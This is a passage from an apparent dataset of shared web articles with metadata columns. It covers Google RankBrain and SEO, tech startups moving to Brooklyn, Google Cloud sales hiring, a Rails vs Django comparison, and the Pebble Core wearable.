Urban from WaitButWhy.com explains the growth of technology better than anyone in his article The AI Revolution: The Road to Superintelligence . Here is what technological progress looks like, when you look back at history: But, as Urban points out, in reality, you can't see what's to your right (the future). So here is how it actually feels when you are standing there: What this chart shows is that when humans try to predict the future, they always underestimate. This is because they are looking to the left of this graph, instead of to the right. However, the reality is, human progress takes place at a faster and faster rate as time goes on. Ray Kurzweil calls this the Law of Accelerating Returns. The scientific reasoning behind his original theory is that more advanced societies have the ability to progress at a faster rate than less advanced societies - because they're more advanced. Of course, the same can be applied to artificial intelligence and the growth rate we are seeing now with advanced technology. We see this with computing resources right now. Here is a visualization that gives you the perspective of just how fast things can change because of this Law of Accelerating Returns: As you can clearly see, and as we all can intuitively feel, the growth of advanced processing and computers has benefited from this Law of Accelerating Returns. Here is another shocking revelation: At some point, the processing power for an economical computer will surpass that of not only a single human, but for all humans combined . In fact, it now appears that we will be able to achieve Artificial General Intelligence (AGI) some time around 2025. Technology is clearly expanding at a faster and faster pace, and, by many accounts, most of us will be caught off guard. The rise of superintelligence As I have explained above, Google's RankBrain is just one form of ANI, which means that, while it can perform things better than a human in one specific area, it is just that: a relatively weak form of artificial intelligence. But we may be blindsided by how fast this ""weak"" intelligence might easily turn into something with which we have no idea how to deal. Here, you can clearly see that Google's RankBrain, while super intelligent on one particular task, is still in the general context of things, fairly unintelligent on the intelligence scale. But what happens when we apply the same Law of Accelerating Returns to artificial intelligence? Tim Urban walks us through the thought experiment: ""...so as A.I. zooms upward in intelligence toward us, we'll see it as simply becoming smarter, for an animal. Then, when it hits the lowest capacity of humanity - Nick Bostrom uses the term 'the village idiot' - we'll be like, 'Oh wow, it's like a dumb human. Cute!' The only thing is, in the grand spectrum of intelligence, all humans, from the village idiot to Einstein, are within a very small range - so just after hitting village idiot level and being declared to be AGI, it'll suddenly be smarter than Einstein and we won't know what hit us."" So what does this mean for the business of SEO and the artificial intelligence that is upon us? SEO has changed forever Before we get into predicting the future, let's take inventory on how RankBrain has already changed SEO. I sat down with Carnegie Mellon alumnus and friend Scott Stouffer , now CTO and co-founder of Market Brew , a company that provides search engine models for Fortune 500 SEO teams. As a search engineer himself, Stouffer had a unique perspective over the past decade that most professionals in that industry don't get to see. Here are some of his tips for the SEO industry when it comes to Google's new emphasis on artificial intelligence. Today's regression analysis is seriously flawed This is the biggest current fallacy of our industry. There have been many prognosticators every time Google's rankings shift in a big way. Usually, without fail, a few data scientists and CTOs from well-known companies in our industry will claim they ""have a reason!"" for the latest Google Dance. The typical analysis consists of perusing through months of ranking data leading up to the event, then seeing how the rankings shifted across all websites of different types. With today's approach to regression analysis, these data scientists point to a specific type of website that has been affected (positively or negatively) and conclude with high certainty that Google's latest algorithmic shift was attributed to a specific type of algorithm ( content or backlink, et al.) that these websites shared. However, that isn't how Google works anymore. Google's RankBrain, a machine learning or deep learning approach, works very differently. Within Google, there are a number of core algorithms that exist. It is RankBrain's job to learn what mixture of these core algorithms is best applied to each type of search results. For instance, in certain search results, RankBrain might learn that the most important signal is the META Title. Adding more significance to the META Title matching algorithm might lead to a better searcher experience. But in another search result, this very same signal might have a horrible correlation with a good searcher experience. So in that other vertical, another algorithm, maybe PageRank, might be promoted more. This means that, in each search result, Google has a completely different mix of algorithms. You can now see why doing regression analysis over every site, without having the context of the search result that it is in, is supremely flawed. For these reasons, today's regression analysis must be done by each specific search result. Stouffer recently wrote about a search modeling approach where the Google algorithmic shifts can be measured. First, you can take a snapshot of what the search engine model was calibrated to in the past for a specific keyword search. Then, re-calibrate it after a shift in rankings has been detected, revealing the delta between the two search engine model settings. Using this approach, during certain ranking shifts, you can see which particular algorithm is being promoted or demoted in its weighting. When humans try to predict the future, they always underestimate. Having this knowledge, we can then focus on improving that particular part of SEO for sites for those unique search results. But that same approach will not (and cannot) hold for other search results. This is because RankBrain is operating on the search result (or keyword) level. It is literally customizing the algorithms for each search result. Stay niche to avoid misclassification What Google also realized is that they could teach their new deep learning system, RankBrain, what ""good"" sites look like, and what ""bad"" sites look like. Similar to how they weight algorithms differently for each search result, they also realized that each vertical had different examples of ""good"" and ""bad"" sites. This is undoubtedly because different verticals have different CRMs, different templates and different structures of data altogether. When RankBrain operates, it is essentially learning what the correct ""settings"" are for each environment. As you might have guessed by now, these settings are completely dependent on the vertical on which it is operating. So, for instance, in the health industry, Google knows that a site like WebMD.com is a reputable site that they would like to have near the top of their searchable index. Anything that looks like the structure of WebMD's site will be associated with the ""good"" camp. Similarly, any site that looks like the structure of a known spammy site in the health vertical will be associated with the ""bad"" camp. As RankBrain works to group ""good"" and ""bad"" sites together, using its deep learning capabilities, what happens if you have a site that has many different industries all rolled up into one? First, we have to discuss a bit more detail on how exactly this deep learning works. Before grouping together sites into a ""good"" and ""bad"" bucket, RankBrain must first determine what each site's classification is. Sites like Nike.com and WebMD.com are pretty easy. While there are many different sub-categories on each site, the general category is very straightforward. These types of sites are easily classifiable. But what about sites that have many different categories? A good example of these types of sites are the How-To sites. Sites that typically have many broad categories of information. In these instances, the deep learning process breaks down. Which training data does Google use on these sites? The answer is: It can be seemingly random. It may choose one category or another. For well-known sites, like Wikipedia, Google can opt-out of this classification process altogether, to ensure that the deep learning process doesn't undercut their existing search experience (aka ""too big to fail""). The field of SEO will continue to become extremely technical. But for lesser-known entities, what will happen? The answer is, ""Who knows?"" Presumably, this machine learning process has an automated way of classifying each site before attempting to compare it to other sites. Let's say a How-To site looks just like WebMD's site. Great, right? Well, if the classification process thinks this site is about shoes, then it is going to be comparing the site to Nike's site structure, not WebMD's. It just might turn out that their site structure looks a lot like a spammy shoe site, as opposed to a reputable WebMD site, in which case the overly generalized site could easily be flagged as SPAM. If the How-To site had separate domains, then it would be easy to make each genre look like the best of that industry. Stay niche. These backlinks smell fishy Let's take a look at how this affects backlinks. Based on the classification procedure above, it is more important than ever to stick within your ""linking neighborhood,"" as RankBrain will know if something is different from similar backlink profiles in your vertical. Let's take the same example as above. Say a company has a site about shoes. We know that RankBrain's deep learning process will attempt to compare each aspect of this site with the best and worst sites of the shoe industry. So, naturally, the backlink profile of this site will be compared to the backlink profiles of these best and worst sites. Let's also say that a typical reputable shoe site has backlinks from the following neighborhoods: Now let's say that the company's SEO team decides to start pursuing backlinks from all these neighborhoods, plus a new neighborhood - from one of the CEO's previous connections to the auto industry. They are ""smart"" about it as well: They construct a cross-marketing ""free shoe offer for all new leases"" page that is created on the auto site, which then links to their new type of shoe. Totally relevant, right? Well, RankBrain is going to see this and notice that this backlink profile looks a lot different than the typical reputable shoe site. Worse yet, it finds that a bunch of spammy shoe sites also have a backlink profile from auto sites. Uh oh. And just like that, without even knowing what is the ""correct"" backlink profile, RankBrain has sniffed out what is ""good"" and what is ""bad"" for its search engine results. The new shoe site is flagged, and their organic traffic takes a nosedive. The future of SEO and artificial intelligence As we can see from the previous discussion on the Law of Accelerating Returns, RankBrain and other forms of artificial intelligence will at some point surpass the human brain. And at this point, nobody knows where this technology will lead us. Some things are certain, though: Each competitive keyword environment will need to be examined on its own; Most sites will need to stay niche to avoid misclassification; and Each site should mimic the structure and composition of their respective top sites in that niche. In some ways, the deep learning methodology makes things simpler for SEOs. Knowing that RankBrain and similar technologies are almost on par with a human, the rule of law is clear: There are no more loopholes. In other ways, things are a bit harder. The field of SEO will continue to become extremely technical. Analytics and big data are the order of the day, and any SEO that isn't familiar with these approaches has a lot of catching up to do. Those of you who have these skills can look forward to a big payday. Featured Image: Maya2008 / Shutterstock",en
1465070635,CONTENT SHARED,3151804887212279872,-1032019229384696495,-4653301734362230570,,,,HTML,http://techcrunch.com/2016/06/04/manhattan-cre-prices-spark-a-mass-exodus-of-startups-to-brooklyn/,Manhattan CRE prices spark a mass exodus of startups to Brooklyn,"Manhattan, once the mecca for technology and innovation on the east coast, is now losing ground to the outer boroughs. Massive growth has led to high rents and lack of space for burgeoning businesses. Demand for office space by tech companies increased 177 percent from 2002-2012, representing 25 percent of New York City leases. To that end, the vacancy rate in NYC is just 9 percent (compared to 15 percent nationwide), creating supply and demand issues that are grossly impacting rents. But the startup nation is great at finding solutions to their problems. Because the problem is high-priced prime locations, they're simply expanding their definition of prime and extending the Alley to a place where they can afford to grow their business - Brooklyn. With the development of formerly working-class neighborhoods like Bay Ridge and the Brooklyn Waterfront well underway, land developers and brokers are now pushing commercial space in these non-traditional areas, making the distinction between residential and commercial neighborhoods even grayer. Undaunted and receptive, tech companies are packing their bags and venturing across the Bridge. Companies like Etsy and MakerBot , as well as startups like goTenna and Honeybee Robotics , are pioneers settling in non-traditional spaces in DUMBO, downtown Brooklyn and the Brooklyn Navy Yard - now dubbed the Brooklyn Tech Triangle. Tech companies are taking over old factories and warehouses and creating shared workspaces, incubators and office buildings for the creative class. Tenancy in this area grew 22 percent in just three years, to the point where an increasing lack of commercial space in the Triangle is creating a wider circle of opportunity for Brooklyn-bound ventures. Livestream left Chelsea and moved their headquarters to Bushwick , where they found 45,000 square feet of space surrounded by old factories from which to launch and grow a series of new initiatives for their business. One of the top five CRE deals in March 2016 was for a 550,000 square-foot industrial space in Clinton Hill just south of the Navy Yard that will specifically target tech and creative tenants who can no longer find or afford space in DUMBO, Williamsburg, Fort Greene and downtown Brooklyn. PivotDesk is also seeing this trend play out. When compared to the Flatiron district, PivotDesk saw an 80 percent increase in space availability on their platform in Crown Heights, Clinton Hill and the Brooklyn Navy Yard since 2015, and a 300 percent growth in request for Brooklyn space from 2014 to 2015. Rapid business growth in response to a growing populous attracted to lower rents have drawn Manhattanites to the Other Manhattan. However, the need for space continues to grow. Where people go, jobs go. Employment increased 45 percent in the Brooklyn Tech Triangle, catalyzed in part by Fortune 500 companies like J.P. Morgan , which moved 2,000 jobs to downtown Brooklyn in 2014, and Time Inc. , which moved 300 of its technology, content solutions and editorial innovation employees to Industry City in Sunset Park, Brooklyn. On the flip side, computer developers are thriving in Brooklyn and refusing to commute to Manhattan, thus compelling companies to move where they can find rich talent that will help their businesses flourish. New York City is also responding in kind. Programs like the Relocation Employment Assistance Program (REAP) provide $3,000 in annual tax credits for each employee, and the New York City Commercial Expansion Program (CEP) provides $10 per square foot rebates for up to five years, which can mean big savings for startups looking to hang onto some cash. Even the Industrial & Commercial Abatement Program (ICAP) awards property tax refunds for up to 25 years to building owners who complete significant renovations on their properties. And then there is transportation. Plans to build the Brooklyn Queens Connector (BQX) - a light rail streetcar system - are in the works to connect the Brooklyn and Queens waterfronts. But that will take some time, and the City will be forced to find alternative ways to better connect these traditionally underserved Brooklyn neighborhoods with new transportation options like expanded Select Bus Service and bike lane routes. A new South Brooklyn ferry service will launch in summer 2017, linking Brooklynites with the Financial District and Midtown. The private sector will also bridge the divide. Uber is already increasing its market share of rides as compared to yellow cabs in Queens and Brooklyn. Bike-sharing programs that are so popular with the tech community in New York City will fill the gaps, and carpooling and ridesharing apps like Via and Gett will take off in a big way. Rapid business growth in response to a growing populous attracted to lower rents have drawn Manhattanites to the Other Manhattan, but this mass exodus is fast hitting the wall of supply versus demand, which will compel companies that are part of the creative economy to become even more innovative in finding affordable solutions as rents start to increase. When easier transportation becomes available in DUMBO, Williamsburg, The Navy Yard and Gowanus, these outer borough destinations will become even more attractive to tech companies that want to attract top talent and avoid astronomical rent. Shared office spaces are already in high demand, and we expect companies will take on larger spaces to secure their foothold in Brooklyn and simply monetize their excess space until they grow into it. And when Brooklyn becomes the next Manhattan, startups will just reinvent another city and grow into other outer boroughs - starting with Queens. Featured Image: Richard Cavalleri / Shutterstock",en
1465085717,CONTENT SHARED,-4948201003470936673,3217014177234377440,-5455116884278742792,,,,HTML,https://www.pluralsight.com/courses/presenting-to-the-bosses,Presenting to the Boss(es) | Pluralsight,"This course will help you prepare for and make critical and high-impact presentations to your boss, a group of executives, customers, prospects, or others who can have a significant impact on your career, company, team, or project. Preparation is key, the presentation is your opportunity to shine, and the debrief and follow-up help ensure you capitalize on opportunities.",en
1465126521,CONTENT SHARED,-4765711818183276269,-1443636648652872475,-261539783637799977,,,,HTML,http://www.businessinsider.com/google-lags-behind-amazon-and-microsofts-cloud-in-one-important-area-2016-6,Google lags behind Amazon and Microsoft's cloud in one important area,"Thomson Reuters Google's cloud service may want to spent a lot more on hiring enterprise sales people if it wants to catch up to the competition. According to a research note by Evercore's Ken Sena on Thursday, the number of sales job openings at Google Cloud Platform far lags behind its biggest competitors, including Amazon Web Services, Microsoft Azure, and Salesforce. Currently, GCP has only 80 sales job openings, a small fraction compared to AWS, Azure, and Salesforce, all of which have over 300 open spots in sales. Based on Sena's own estimates, GCP's sales cost only accounts for 8% of its total operating expenses, a tiny portion compared to some of the larger enterprise players. And although GCP ramped up its sales hires in recent months, nearly doubling to 50 sales reps in the West Coast alone, Sena notes that Google's investment seems more focused on the technical side than sales - potentially weakening its growth prospects in the enterprise space, which tend to rely heavily on sales people to sign large business customers. ""Google's Cloud investment seems more focused on tools and infrastructure versus the sales headcount needed to help Google garner greater Cloud market share...as a result, we tend to view AWS's business as being under less competitive threat than we did previously, which our new estimates better reflect,"" Sena wrote. Unlike consumer products that could sometimes become major hits without much sales and marketing efforts, enterprise technology is still an area that's largely dictated by a strong sales culture. It's possible to penetrate small businesses and teams within large businesses without any sales people, but to sell to large businesses who drive the big bucks, a large sales team is essential. AWS's recent $400 million deal with Salesforce , for example, wouldn't have happened without a large number of enterprise salespeople involved. Sena's note argues GCP's level of investment - not just in sales, but across data centers and infrastructure - also falls behind competition. GCP's total expenses was $1.9 billion in 2015 and is expected to grow to $3.4 billion in 2016, a fraction of AWS's $6.9 billion in 2015 and $9.1 billion projected in 2016. Evercore Still, it's too early to count GCP out of the picture. Google CEO Sundar Pichai has stated that the company will invest ""significantly"" in GCP this year, and has brought in VMWare cofounder Diane Greene, who's one of the most powerful people in enterprise tech, to lead GCP last year. Plus, as Sena noted, a lot of GCP's investments are flowing into improving its technical capabilities, giving it a niche advantage over other cloud providers. Its pricing is also more competitive than others, he notes. In any case, all this leads to the conclusion that GCP won't be a major threat to the market leading AWS in the near future, Sena writes. ""In sum, while big-name customer additions (notably Snapchat, Spotify, and some of Apple's business) and the hire of Diane Green have created some obvious reasons for concern from an AWS standpoint, our conclusion is that AWS is likely better situated than some may perceive,"" he writes. Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1465128758,CONTENT SHARED,514858832555251637,6040926917589508037,8956915441042223519,,,,HTML,https://bernardopires.com/2014/03/rails-vs-django-an-in-depth-technical-comparison/,Rails vs Django: an in-depth technical comparison,"I'd like to start with a disclaimer. I have been developing websites using Django for 3 years now and it's no secret that I like Django. I wrote an open-source app for it and I have started sending patches to Django. I have however written this article to be as unbiased as possible and there's plenty of compliments (and criticism) to both frameworks. Six months ago I joined a project at my University using Ruby on Rails and have been working with it since then. The first thing I did was to look for for reviews and comparisons between the two frameworks and I remember being frustrated. Most of them were a little shallow and compared them on a higher level while I was looking for answers to questions like 'how are database migrations handled by both?', 'what are the differences on the template syntax?', 'how is user authentication done?'. The following review will answer these questions and compare how the model, controller, view and testing is handled by each web framework. A short introduction Both frameworks were born out of the need of developing web applications faster and organizing the code better. They follow the MVC principle, which means the modelling of the domain (model), the presentation of the application data (view) and the user's interaction (controller) are all separated from each other. As a side note, Django actually considers the framework to be the controller, so Django addresses itself as a model-template-view framework. Django's template can be understood as the view and the view as the controller of the typical MVC scheme. I'll be using the standard MVC nomenclature on this post. Ruby on Rails Ruby on Rails (RoR) is a web framework written in Ruby and is frequently credited with making Ruby ""famous"". Rails puts strong emphasis on convention-over-configuration and testing. Rails CoC means almost no config files, a predefined directory structure and following naming conventions. There's plenty of magic everywhere: automatic imports, automatically passing controller instance variables to the view, a bunch of things such as template names are inferred automatically and much more. This means a developer only needs to specify unconventional aspects of the application, resulting in cleaner and shorter code. Django . Django's motivation lies in the ""intensive deadlines of a newsroom and the stringent requirements of the experienced Web developers who wrote it"". Django follows Django is a web framework written in Python and was named after the guitarrist Django Reinhardt explicit is better than implicit (a core Python principle), resulting in code that is very readable even for people that are not familiar with the framework. A project in Django is organized around apps. Each app has its own models, controllers, views and tests and feels like a small project. Django projects are basically a collection of apps, with each app being responsible for a particular subsystem. Model Let's start by looking how each framework handles the MVC principle. The model describes how the data looks like and contains the business logic. Creating models Rails creates models by running a command in terminal. The command above will automatically generate a migration and an empty model file, which looks like this: Coming from a Django background, one thing that annoyed me was the fact that I couldn't know which fields a model has just by looking into its model file. What I learned was that Rails uses the model files basically only for business logic and stores how all models looks like in a file called schemas.rb . This file is automatically updated every time a migration is ran. If we take a look at this file we can see how our Product model looks like. Notice how there are two extra fields in the model. created_at and updated_at are fields that are added to every model in Rails and will be set automatically. In Django models are defined in a file called models.py . The same Product model would look like this Notice that we had to explicitly add created_at and updated_at in Django. We also had to tell Django how these fields behave through the parameters auto_now_add and auto_now . Model field defaults and foreign keys Rails will per default allow fields to be null. You can see on the example above that the three fields we created allowed null. The reference field to a Category will also neither create an index nor a foreign key constraint. This means referential integrity is not guaranteed. Django's default is the exact opposite. No field is allowed to be null unless explicitly set so. Django's ForeignKey will also create a foreign key constraint and an index automatically. Although Rails decision here may be motivated by performance concerns, I'd side with Django here as I believe this decision avoids (accidental) bad design and unexpected situations. For example, a previous student in our project wasn't aware that all fields he had created allowed null per default. After a while we noticed that some of our tables contained data that made no sense, such as a poll with null as the title. Since Rails doesn't add FKs, following our example we could have for example deleted a category that is still referenced by other products and these products would then have invalid references. An option is to use a third-party app that adds support for automatic creation of foreign keys. Migrations Migrations allow the database schema to be changed after it has already been created (actually, in Rails everything is a migration - even creating). I have to give props to Rails for supporting this out-of-the-box for a long time. This is done using Rails' generator This would add a new field called part_number to the Product model. Django only supports migrations by using an third-party library called South , however, I find South's approach to be both somewhat cleaner and more practical. The equivalent migration above could be done by directly editing the Product model definition and adding a new field and then calling South will automatically recognize that a new field was added to the Product model and create a migration file. It can then be synced by calling Django is finally going to support migrations in its newest version (1.7) by integrating South into it. Making queries Thanks to object-relation mapping, you will not have to write a single SQL line in either framework. Thanks to Ruby's expressiveness you can actually write range queries quite nicely. This would find all Client s created yesterday. Python doesn't support syntax like 1.day , which is extremely readable and succinct, neither the .. range operator. However, sometimes in Rails I feel like I'm writing prepared statements again. To select all rows where a particular field is greater than a value, you have to write Django's way of doing this is not much better, but in my opinion, more elegant. The equivalent line in Django is looks like this: Controller Controllers have the task of making sense of a request and returning an appropriate response. Web applications typically support adding, editing, deleting and showing details of a resource and RoR's conventions really shine here by making the development of controllers short and sweet. Controllers are divided into methods, each representing one action ( show for fetching the details of a resource, new for showing the form to create a resource, create for receiving the POST data from new and really creating the resource, etc.) The controllers' instance variables (prefixed with @ ) are automatically passed to the view and Rails knows from the method name which template file to use as a view. Django has two different ways of implementing controllers. You can use a method to represent each action, very similar to how Rails' does it, or you can create a class for each controller action. Django however doesn't have separate new and create methods, the creation of a resource happens in the same controller where an empty resource is created. There is also no convention on how to name your views. View variables need to be passed explicitly from the controller and the template file to be used needs to be set as well. The amount of boilerplate in this example in Django is obvious when compared to RoR. Django seems to have noticed this and developed a second way of implementing controllers by harnessing inheritance and mixins. This second method is called class-based views (remember, Django calls the controller, view) and was introduced in Django 1.5 for promoting code reuse. Many commons actions such as displaying, listing, creating and updating a resource already have a class from which you can inherit from, greatly simplifying the code. Repetitive tasks such as specifying the view filename to be used, fetching the object and passing the object to the view are done automatically. The same example above would only be 4 lines using this pattern. When the controllers are simple, using class-based views is usually the best choice, as the code generally ends up very compact and readable. However, depending on how non-standard your controllers are, many functions may need to be overridden to achieve the desired functionality. A common case is when the programmer wants to pass in additional variables to the view, this is done by overriding the function get_context_data . Do you want to render a different template depending on a particular field of the current object (model instance)? You'll have to override render_to_response . Do you want to change how the object will be fetched (default is using the primary key field pk )? You'll have to override get_object . For example, if we wanted to select a particular product by its name instead of id and to also pass to our view which products are similar to it, the code would look like this: View Rails views uses the Embedded Ruby template system which allows you to write arbitrary Ruby code inside your templates. This means it is extremely powerful and fast, but with great power comes great responsibility . You have to be very careful to not mix your presentation layer with any other kind of logic. I have another example involving fellow students again. A new student had joined our RoR Project and was working on a new feature. It was time for code review. We started at the controller and the first thing that struck me was how empty his controller looked like. I immediately looked at his views and saw massive ruby blocks intermixed with HTML. Yes, Rails it not to blame for a programmers lack of experience, but my point is that frameworks can protect the developer from some bad practices. Django for instance has a very frugal template language . You can do if s and iterate through data using for loops, but there's no way to select objects that were not passed in from the controller as it does not execute arbitrary Python expressions. This is a design decision that I strongly believe that pushes developers into the right direction. This would have forced the new student in our project to find the correct way of organizing his code. Assets: CSS, Javascript and images Rails comes with an excellent built-in asset pipeline . Rails' asset pipeline is capable of concatenating, minifying and compressing Javascript and CSS files. Not only that, it also supports other languages such as Coffeescript, Sass and ERB. Django's support of assets it pretty much shameful compared to Rails and leaves everything for the developer to handle. The only thing Django offers is something called static files , which basically collects all static files from each app to a single location. A third-party app called django_compressor offers a solution similar to Rails' asset pipeline. Forms Forms in web applications are the interface through which users give input. Forms in Rails consist of helper methods that are used directly in the views. The input fields subject , message , etc. can than be read at a controller through the ruby hash (a dictionary-like structure) params , for example params[:subject] and params[:message] . Django on the other hand abstracted the concept of forms. Forms are normal classes that encapsulate fields and can contain validation rules. They look a lot like models. Django knows that the CharField counterpart in html are text input boxes and that BooleanField s are checkboxes. If you wish, you can change which input element will be used through the widget field. Forms in Django are instantiated in the controller. Django will throw in validation for free. By default all fields are required, except when defined otherwise (such as cc_myself ). Using the snippet above, if the form fails the validation, the same form will be automatically displayed with an error message and the input given is shown again. The code below displays a form in a view. URLs and routing Routing is the task of matching a particular URL to a controller. Rails makes building REST web services a breeze and routes are expressed in terms of HTTP verbs. In the example above a GET request to /products/any_id will be automatically routed to the controller products and the action show . Since it's such a common task to have all actions (create, show, index, etc) in a controller and thanks to convention-over-configuration, RoR created a way of quickly declaring all common routes, called resources . If you followed Rails' conventions when naming your controller methods this is very handy. Django does not use the HTTP verb to route. Instead it is more verbose and uses regular expressions to match URLs to controllers. Since regular expressions are used, simple validation is automatically built in. Requesting /products/test/ will not match any routing rule and a 404 will be raised, as test is not a valid integer. The difference in philosophy can be seen here again. Django doesn't have any convention when naming controller actions, so Django does not have any cool helpers like Rails' resource and every route has to be explicitly defined. This results in each controller requiring several routing rules. Testing Testing is just a breeze in Rails and there's a much stronger emphasis on it in Rails than in Django. Fixtures Both frameworks support fixtures (a fancy word for sample data) in a very similar way. I'd however give Rails a bonus point for making it more practical writing them as it infers from the file name for which model you're writing them. Rails uses YAML-formatted fixtures, which is a human-readable data serialization format. All fixtures are automatically loaded and can be accessed directly as local variables on test cases Django also supports YAML fixtures but developers tend to use JSON-formatted ones. There's no magic, so notice how they are more verbose as you have to explicitly define which model it is and then list the fields under fields Testing models Both frameworks are pretty identical in unit testing the models. Checks are made using a bunch of different types of assertions such as assert_equal , assert_not_equal , assert_nil , assert_raises , etc. The same code in Django is very similar. Testing controllers Rails really shines thanks to its magic here again. Rails uses the class name to infer which controller is being tested and testing a particular action is as simple as calling http_verb :action_name . Let's take a look at an example. The code is fairly straightforward to understand what's happening. The first test line simulates a request to the index action on the Users controller. The second line then checks if the request was successful (response code 200-299). assigns is a hash that contains the instance variables that are passed to the views. So the third line is testing if an instance variable called users was set and is not nil . There's also a couple of additional assert helpers such as assert_difference that are very convenient. Testing the controller in Django is done by using a class called Client which acts as a dummy web browser. Here's how the equivalent code looks like in Django. First we have to initialize the Client at the test setup. The first line of test_index simulates a GET request to the controller action index of User s. reverse looks up the URL for the index action. Notice how the code is more verbose and there are no helpers such as assert_response :success . response.context contains the variables that were passed to the view. It's clear that the Rails magic here is really helpful. Rails/Ruby also has just so many great third-party apps such as factory_girl , RSpec , Mocha and Cucumber that the task of writing tests is a pleasure. Tools and other features Dependency management Both frameworks have fantastic dependency management tools available. Rails uses Bundler , which tracks the required gems for running a particular ruby application through a file called Gemfile. Dependencies can be added by simpling a new line to the Gemfile. All the required gems can be installed by simply calling: Django strongly recommends the use of virtualenv for having isolated Python environments. pip is then used for managing python packages. A package can be installed by calling: The project requirements can then be gathered with: Management commands Almost every project ends up having common administration tasks such as precompiling assets, cleaning logs, etc. Rails uses Rake for handling these tasks. Rake is very flexible and makes developing tasks easy, especially sophisticated ones that depend on other tasks. Rake tasks can have prerequisites. The task above, named eat , runs the tasks cook and set_the_table before executing. Rake also support namespaces for grouping common tasks. Tasks can be executed by simply callig its name: Django management commands are less flexible and do not support prerequisites neither namespaces. Nonetheless they get the job done, albeit less elegantly. If we save the contents above in a filed named eat.py we can call it with: Internationalization and localization Internationalization in Rails is somewhat rudimentar. Translation strings are defined as ruby hashes in files under the folder config/locales . Translation is made through a function t . The first parameter is the key that identifies which string is to be used (for example greet_username ). Rails will automatically select the correct language. I found the process of having to decide the key names to use and registering them manually on locale files very cumbersome. Django packs the very convenient gettext . Translation is also done through a helper function, ugettext , but this time the key is the untranslated string itself. Django will then examine all source code and automatically collect strings to be translated by calling: The command above will generate a file for each language that you want to translate to. The files look like this: Notice that I have already filled in the translation at msgstr (they're originally empty). Once the translations have been made, they have to be compiled. This way of localizing projects is a lot more practical as there's no need to think about key names and looking them up when needed. User authentication I have to say I was somewhat shocked when I learned that RoR does not come bundled with any sort of user authentication. I can't think of any project that wouldn't need authentication and user management. The most popular gem for this is devise , which unsurprisingly, is the most popular gem for Rails, having about half the stars Rails has on Github. Even though Django has packed an authentication framework since forever, the solution provided wasn't the most flexible until about a year ago, when version 1.5 came along and brought the configurable user model. Until then, you were forced to take Django's definition of a ""user"" , you couldn't change fields neither add new ones. Finally, that's not the case anymore, and you can swap out the user model for one that you define yourself. Third party libraries There's not much to say here. This post has already mentioned plenty of third party libraries for both frameworks and it's clear that both enjoy a plethora of apps. Django Packages is an excellent website for searching Django Apps. I haven't found such a website for Rails. Community I don't have concrete data to prove it, but I'm pretty sure Rails' community is bigger. RoR has more than the double amount of stars on Github than Django. It also has the double the amount of questions tagged Rails on Stackoverflow. There also appears to be widely more jobs for RoR developers than Django ( 241 vs 58 on stackoverflow careers). Rails is huge and has so many fantastic resources for learning such as Rails Casts and Rails for Zombies . Django has Getting Started with Django but it just doesn't compare. I learned Django using a great resource called The Django Book , but it has been outdated for several years now. Don't get me wrong, there's plenty of activity around Django too and if you have any questions, you will most likely find the solution very easily by googling it, but it's just not as big as Rails. Conclusion Both Ruby on Rails and Django are outstanding frameworks for web development. They are a big help for developing modularized, clean code and do a great job in reducing time spent on common activities. I can not live anymore without an ORM framework, a templating engine and a session management system. The question is then, how do I pick one? You can not really go wrong by picking either one of them. My suggestion is always to try both and figure out which one you're more confortable with. The decision may come down to which language you prefer or which principle you want to follow: convention-over-configuration or explicit is better than implicit. With CoC you get automatic imports, controller instance variables are automatically passed to the view and writing tests is convenient. With explicit is better than implicit, it's always obvious what the code is doing, even for those not familiar with it. From my personal experience I prefer Django. I like Python's explicitness and I love Django's forms and the fact that the framework is more defensive (limited template language, null not enabled by default on model fields). I know however plenty of folks that can't live without Rails' magic and its superior testing environment.",en
1465135203,CONTENT SHARED,5429923407915345742,-1032019229384696495,8076865117288875488,,,,HTML,http://www.wareable.com/Pebble/pebble-core-spotify-price-release-date-specs-2016,Pebble Core guide: All you need to know about the wearable for runners,"The Pebble Core is a wearable designed for runners and is the company's first non-smartwatch device as it makes a bigger push into the world of fitness . Alongside the Pebble 2 and the Pebble Time 2 , the GPS packing Core has helped Pebble raise almost $10 million on Kickstarter in just a matter of days. Until we get our hands on one to look at to see if it can cut it on a big run, here's all of the information we know about the Pebble Core so far. Pebble Core: Design The most obvious thing to notice about the Core is the fact it doesn't have a screen. It will work with a Pebble smartwatch letting you see running data like pace, distance, and speed from your wrist. But it can also work as a standalone device, so you can leave your smartphone behind. It does also include two buttons, which can be customised to assign to launch apps or actions. Want to order an Uber? You'll be able to do it from the Core with a single press. Available in black or white colours, It's made out of polycarbonate and rubber to give it a durable, robust body able to withstand your workouts. It weighs just 50g and, while it's quite thick, it looks like the magnetised clip should easily slip onto your waistband, sleeve or hide in a pocket. (The exact dimensions are 40mm x 40mm x 20mm). There's a 3.5mm headphone jack for wired sports earphones and it connects to your phone via Bluetooth 4.1 so there you might also be able to hook up Bluetooth headphones. There's no microphones, but it will support headphones with microphones built in. It's also sweat and rain resistant so that does mean you can't go swimming like you can with Pebble's smartwatches. Pebble Core: Features The most notable features for runners is alongside an accelerometer motion sensor, the Core also has GPS built in so you can track runs accurately. Although it doesn't appear to support GLONASS. It's compatible with Runkeeper, Strava, Under Armour Record, MapMyRun and Google Fit smartphone apps. So you don't have to give up on your favourite fitness apps. The device will also support Moov-style audio cues from your running and fitness apps. Sadly, there's no heart rate monitor on board to measure workout intensity, but that's perhaps no surprise when it's not worn against your skin. You will be able to pair with one of Pebble's new watches that do pack optical heart rate sensors, to add real time HR readings to your sessions. There's no news on ANT+ connectivity, which will be come as a disappoint for cyclists thinking the Core could be worth taking out on a ride. Joining the GPS tracking is a built-in MP3 player with 4GB of storage to pile on your music. It's not clear though how that music gets onto the Core, but we hope it might be a simple drag and drop situation here. When you don't have time to pack some music onto your Core, it also supports Spotify (Premium accounts only) streaming over 3G thanks to the Micro SIM card slot that's built into the device. Hopefully it'll be a case of slipping in the Micro SIM from your smartphone, but we don't have any details on how Pebble sees its customers paying for a micro SIM yet i.e. if there are any partnerships with operators to make sure you're not paying for a plan just for Spotify (Premium only) streaming every month. There's also Wi-Fi (802.11b/g/n) support as well to make it easier to sync data too and stream music. In terms of extra features, not aimed at runners, the wearable can send a SOS alert with your location in emergencies, capture voice notes (via your phone's mic) and activate Pebble apps - like Uber - with one tap. Pebble Core: The hacker option It's worth noting that Pebble is also offering the Pebble Core for Hackers. So if you're not a runner, the Core could become your ""keychain computer"" and ""magic button"" in the same way that the Misfit Flash Link can control music and smart home gadgets. It offers two programmable buttons, a 